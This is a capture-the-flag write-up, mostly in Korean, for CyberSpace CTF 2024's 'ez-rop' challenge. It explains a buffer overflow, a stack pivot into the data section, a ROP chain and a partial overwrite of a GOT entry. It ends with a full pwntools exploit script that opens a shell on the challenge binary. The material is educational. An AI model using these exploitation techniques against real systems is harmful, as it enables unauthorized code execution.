CyberSpace CTF 2024 - ez-rop

0x00. Introduction

[*] '/home/user/ez-rop'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)

0x01. Vulnerability

char *sub_401192()
{
  char s[96]; // [rsp+0h] [rbp-60h] BYREF

  return fgets(s, 116, stdin);
}

๋‹จ์ˆœํ•œ BOF๊ฐ€ ๋ฐœ์ƒํ•˜์ง€๋งŒ s๋ฅผ ์ฑ„์šฐ๋Š” ๋ฐ์— 0x60 ๋ฐ”์ดํŠธ๋ฅผ ์‚ฌ์šฉํ•ด์•ผ ํ•˜๋ฏ€๋กœ return ์ดํ›„์— ๊ตฌ์„ฑํ•  ์ˆ˜ ์žˆ๋Š” stack์ด ๊ฑฐ์˜ ์—†๋‹ค.

0x02. Exploit

Fake Stack

์ทจ์•ฝ์ ์„ ์ด์šฉํ•ด์„œ ๋‹น์žฅ rip๋ฅผ controlํ•ด๋„ ํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒƒ์ด ์—†๊ธฐ ๋•Œ๋ฌธ์—, payload๋ฅผ ๊ตฌ์„ฑํ•  ์ˆ˜ ์žˆ๋Š” ์˜์—ญ์„ ์ฐพ์•„๋ณด์•˜๋‹ค.

gefโžค  vmmap
[ Legend:  Code | Stack | Heap ]
Start              End                Offset             Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-- /home/user/chall
0x0000000000401000 0x0000000000402000 0x0000000000001000 r-x /home/user/chall
0x0000000000402000 0x0000000000403000 0x0000000000002000 r-- /home/user/chall
0x0000000000403000 0x0000000000404000 0x0000000000002000 r-- /home/user/chall
0x0000000000404000 0x0000000000405000 0x0000000000003000 rw- /home/user/chall
...

PIE๊ฐ€ ๊บผ์ ธ์žˆ๊ธฐ ๋•Œ๋ฌธ์— DATA ์˜์—ญ์ธ 0x404000 ์˜์—ญ์˜ ์ฃผ์†Œ๊ฐ€ ๊ณ ์ •๋˜์–ด์žˆ๋‹ค. sub_401192()๊ฐ€ ์ข…๋ฃŒ๋  ๋•Œ leave; ret์„ ํ•˜๋ฏ€๋กœ, ๋Œ€์ถฉ ์ค‘๊ฐ„์ฏค์ธ 0x404800์„ sfp์— ๋„ฃ์–ด๋‘๋ฉด rsp๋ฅผ ํ•ด๋‹น ๊ฐ’์œผ๋กœ ์กฐ์ž‘ํ•  ์ˆ˜ ์žˆ๋‹ค.

์ด์ œ rsp๋ฅผ ์ž…๋ ฅ์„ ๋ฐ›๋Š” ํ•จ์ˆ˜์˜ ์ธ์ž๋กœ ์ „๋‹ฌํ•ด์•ผ ํ•˜๋Š”๋ฐ, ์“ธ๋งŒํ•œ ๊ฐ€์ ฏ์ด ์—†์—ˆ๋‹ค. ๋Œ€์‹  fgets๋กœ ์ž…๋ ฅ์„ ๋ฐ›๋Š” ๊ณผ์ •์—์„œ rdi์˜ ๊ฐ’์ด rax, rbp๋ฅผ ํ†ตํ•ด ์„ค์ •๋œ๋‹ค๋Š” ๊ฒƒ์„ ์ด์šฉํ•ด์„œ ๊ฐ’์„ ์ „๋‹ฌํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค.

.text:0000000000401192                 push    rbp
.text:0000000000401193                 mov     rbp, rsp
.text:0000000000401196                 sub     rsp, 60h
.text:000000000040119A                 mov     rdx, cs:stdin   ; stream
.text:00000000004011A1                 lea     rax, [rbp-60h]
.text:00000000004011A5                 mov     esi, 74h ; 't'  ; n
.text:00000000004011AA                 mov     rdi, rax        ; s
.text:00000000004011AD                 call    _fgets
.text:00000000004011B2                 xor     rdx, rdx
.text:00000000004011B5                 nop
.text:00000000004011B6                 leave
.text:00000000004011B7                 retn

๋”ฐ๋ผ์„œ payload๋ฅผ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์ž‘์„ฑํ•˜์˜€๋‹ค.

    # fgets(0x4047a0, 0x74, stdin)
    payload = b"A" * 0x60
    payload += p64(0x404800)                # rbp = 0x404800
    payload += p64(0x401196)                # middle of fgets
    payload += b"\x00\x00\x00"              # dummy
    
    s.send(payload)
    sleep(0.5)

Return Oriented Programming

์ด์ œ payload๋ฅผ ์ด์šฉํ•ด์„œ ์‰˜์„ ๋„์šฐ๋ฉด ๋˜๋Š”๋ฐ, pop ๊ฐ€์ ฏ์ด ๋งŽ์ง€ ์•Š์•„ IDA๋กœ ํ™•์ธํ•ด๋ณด๋‹ˆ ์“ธ๋งŒํ•œ ๊ฐ€์ ฏ์€ ์‚ญ์ œํ•˜๊ณ  ๋‹ค์Œ ๋„ค ๊ฐ€์ ฏ์„ ์ด์šฉํ•œ ๋ฌธ์ œ ํ•ด๊ฒฐ์„ ์˜๋„ํ•œ ๊ฒƒ ๊ฐ™์•˜๋‹ค.

# mov rdi, rsi gadget
.text:0000000000401156                 push    rbp
.text:0000000000401157                 mov     rbp, rsp
.text:000000000040115A                 mov     rdi, rsi
.text:000000000040115D                 retn

# pop rbp gadget
.text:000000000040115F                 pop     rbp
.text:0000000000401160                 retn

# pop rsi gadget
.text:0000000000401161                 push    rbp
.text:0000000000401162                 mov     rbp, rsp
.text:0000000000401165                 pop     rsi
.text:0000000000401166                 retn

# read(0, buf, 8) gadget
.text:000000000040116A                 push    rbp
.text:000000000040116B                 mov     rbp, rsp
.text:000000000040116E                 sub     rsp, 10h
.text:0000000000401172                 lea     rax, [rbp-8h]
.text:0000000000401176                 mov     edx, 8          ; nbytes
.text:000000000040117B                 mov     rsi, rax        ; buf
.text:000000000040117E                 mov     edi, 0          ; fd
.text:0000000000401183                 call    _read
.text:0000000000401188                 xor     rdx, rdx
.text:000000000040118B                 xor     rax, rax
.text:000000000040118E                 retn

ํŠน์ดํ•˜๊ฒŒ read ๊ฐ€์ ฏ์ด ์žˆ์—ˆ๋Š”๋ฐ, fgets์™€ ๋น„์Šทํ•˜๊ฒŒ rbp ๊ฐ’์—์„œ 8์„ ๋บ€ ๊ฐ’์ด rax๋ฅผ ํ†ตํ•ด rsi๋กœ ์ „๋‹ฌ๋œ๋‹ค. rbp๋Š” pop rbp ๊ฐ€์ ฏ์„ ์ด์šฉํ•˜์—ฌ ์ž์œ ๋กญ๊ฒŒ ๊ฐ’์„ ์„ค์ •ํ•  ์ˆ˜ ์žˆ์œผ๋‹ˆ lea rax, [rbp-8h] instruction์„ ๊ฐ์•ˆํ•ด์„œ ์ž…๋ ฅ๋ฐ›์„ ์ฃผ์†Œ์— 8์„ ๋”ํ•ด์„œ rbp ๊ฐ’์„ ์„ค์ •ํ•˜๋ฉด ๋œ๋‹ค.

์ด ๋•Œ ์„ค์ •ํ•ด๋‘” rsp ๊ฐ’์„ ๋ณ€๊ฒฝ์‹œํ‚ค์ง€ ์•Š๊ธฐ ์œ„ํ•ด read ๊ฐ€์ ฏ์˜ ์ค‘๊ฐ„์ธ 0x401172 ์ฃผ์†Œ๋กœ ๋ฐ”๋กœ ๋›ฐ๋„๋ก payload๋ฅผ ๊ตฌ์„ฑํ–ˆ๋‹ค.

    # read(0, alarm.got, 8) ; alarm.got = 0x404008
    # rdi = 0, rsi = alarm.got, rdx = 8
    payload = p64(elf.got['alarm'] + 8)     # alarm.got + 8
    payload += p64(0x401172)                # middle of read

์—ฌ๊ธฐ์—์„œ alarm์˜ GOT์— ๊ฐ’์„ ์“ฐ๊ธฐ๋กœ ํ–ˆ๋Š”๋ฐ, libc๋ฅผ leakํ•˜๊ธฐ ์œ„ํ•œ ์ถœ๋ ฅ ํ•จ์ˆ˜๊ฐ€ ํ•˜๋‚˜๋„ ์—†๊ธฐ ๋•Œ๋ฌธ์— execve์™€ ๊ฐ€์žฅ ๊ฐ€๊นŒ์šด ํ•จ์ˆ˜๋ฅผ ์ฐพ์•„ partial overwrite๋ฅผ ํ•˜๊ธฐ ์œ„ํ•จ์ด๋‹ค. ๊ฐ€์žฅ ๊ฐ€๊น๋‹ค๋Š” ๊ฒƒ์€ offset ์ฐจ์ด๊ฐ€ ๊ฐ€์žฅ ์กฐ๊ธˆ ๋‚œ๋‹ค๋Š” ๊ฒƒ์ด๊ณ , ๊ฐ€๊นŒ์šด ํ•จ์ˆ˜์˜ GOT๋ฅผ ๋ฎ์–ด ์“ด ๊ฒƒ์€ aslr์— ์˜ํ•œ exploit ํ™•๋ฅ ์„ ์ตœ๋Œ€ํ•œ ๋†’์ผ ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค.

์ดํ›„์—๋Š” execve ํ•จ์ˆ˜ ์ธ์ž๋ฅผ ๋งž์ถฐ์ฃผ๊ธฐ ์œ„ํ•ด "/bin/sh\x00"๋ฅผ ๋ฉ”๋ชจ๋ฆฌ์— ์จ๋‘๊ณ  ๊ฐ€์ ฏ์„ ์ด์šฉํ•ด ์ „๋‹ฌํ•˜๋Š” ๊ณผ์ •๋งŒ ์ˆ˜ํ–‰ํ•ด์ฃผ๋ฉด ๋œ๋‹ค.

    # read(0, 0x404900, 8) ; &0x404900 = "/bin/sh\x00"
    pop_rbp = 0x401168
    payload += p64(pop_rbp)
    payload += p64(0x404908)                # 0x404900 + 8
    payload += p64(0x401172)
    
    # execve("/bin/sh", 0, 0)
    # rdi = 0x404900, rsi = 0, rdx = 0
    mov_rdi_rsi = 0x40115a
    pop_rsi = 0x401165
    payload += p64(mov_rdi_rsi)
    payload += p64(pop_rsi)
    payload += p64(0)
    payload += p64(elf.plt['alarm'])

    payload += b"B" * (0x60 - len(payload))
    payload += p64(0x4047a0)
    payload += p64(0x401190)
    payload += b"\x00\x00\x00"
    log.info(f"payload len : {hex(len(payload))}")

    s.send(payload)
    sleep(0.5)

์ง€๊ธˆ ์ƒ๊ฐํ•ด๋ณด๋‹ˆ fgets ์‹œ ๋งˆ์ง€๋ง‰์— ๋‚จ๋Š” 3๋ฐ”์ดํŠธ์— sh;๋ฅผ ๋„ฃ๊ณ  ๊ทธ ์ฃผ์†Œ๋ฅผ ์คฌ์–ด๋„ ๋  ๊ฒƒ ๊ฐ™๋‹ค.

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
from argparse import ArgumentParser

BINARY = "chall"
LIBRARY = "libc-2.31.so"
CONTAINER = "44c6741a4dc0"
bp = {
    'main' : 0x4011B8,
    'leave_after_fgets' : 0x4011b6,
    'ret_after_fgets' : 0x4011B7,
}

gs = f'''
b *{bp["leave_after_fgets"]}
b *{0x401183}
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']

def main(server, port, debug):
    if(port):
        s = remote("0.0.0.0", port)
        if debug:
            pid = os.popen(f"sudo docker top {CONTAINER} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
            gdb.attach(int(pid), gs, exe=BINARY)
    else:
        s = process(BINARY, env={"LD_PRELOAD" : LIBRARY})
        if debug:
            gdb.attach(s, gs)
    elf = ELF(BINARY)
    lib = ELF(LIBRARY)

    # fgets(0x4047a0, 0x74, stdin)
    payload = b"A" * 0x60
    payload += p64(0x404800)                # rbp = 0x404800
    payload += p64(0x401196)                # middle of fgets
    payload += b"\x00\x00\x00"              # dummy
    
    s.send(payload)
    sleep(0.5)

    # read(0, alarm.got, 8) ; alarm.got = 0x404008
    # rdi = 0, rsi = alarm.got, rdx = 8
    payload = p64(elf.got['alarm'] + 8)     # alarm.got + 8
    payload += p64(0x401172)                # middle of read

    # read(0, 0x404900, 8) ; &0x404900 = "/bin/sh\x00"
    pop_rbp = 0x401168
    payload += p64(pop_rbp)
    payload += p64(0x404908)                # 0x404900 + 8
    payload += p64(0x401172)
    
    # execve("/bin/sh", 0, 0)
    # rdi = 0x404900, rsi = 0, rdx = 0
    mov_rdi_rsi = 0x40115a
    pop_rsi = 0x401165
    payload += p64(mov_rdi_rsi)
    payload += p64(pop_rsi)
    payload += p64(0)
    payload += p64(elf.plt['alarm'])

    payload += b"B" * (0x60 - len(payload))
    payload += p64(0x4047a0)
    payload += p64(0x401190)
    payload += b"\x00\x00\x00"
    log.info(f"payload len : {hex(len(payload))}")

    s.send(payload)
    sleep(0.5)

    # read(0, alarm.got, 8)
    payload = b"\x80\xb0"
    # payload = b"\x80\x50"
    s.send(payload)
    sleep(0.5)

    # read(0, 0x404900, 8)
    payload = b"/bin/sh\x00"
    s.send(payload)
    sleep(0.5)

    s.interactive()

if __name__=='__main__':
    parser = ArgumentParser()
    parser.add_argument('-s', '--server', type=str, default="0.0.0.0")
    parser.add_argument('-p', '--port', type=int)
    parser.add_argument('-d', '--debug', type=int, default=1)
    args = parser.parse_args()
    main(args.server, args.port, args.debug)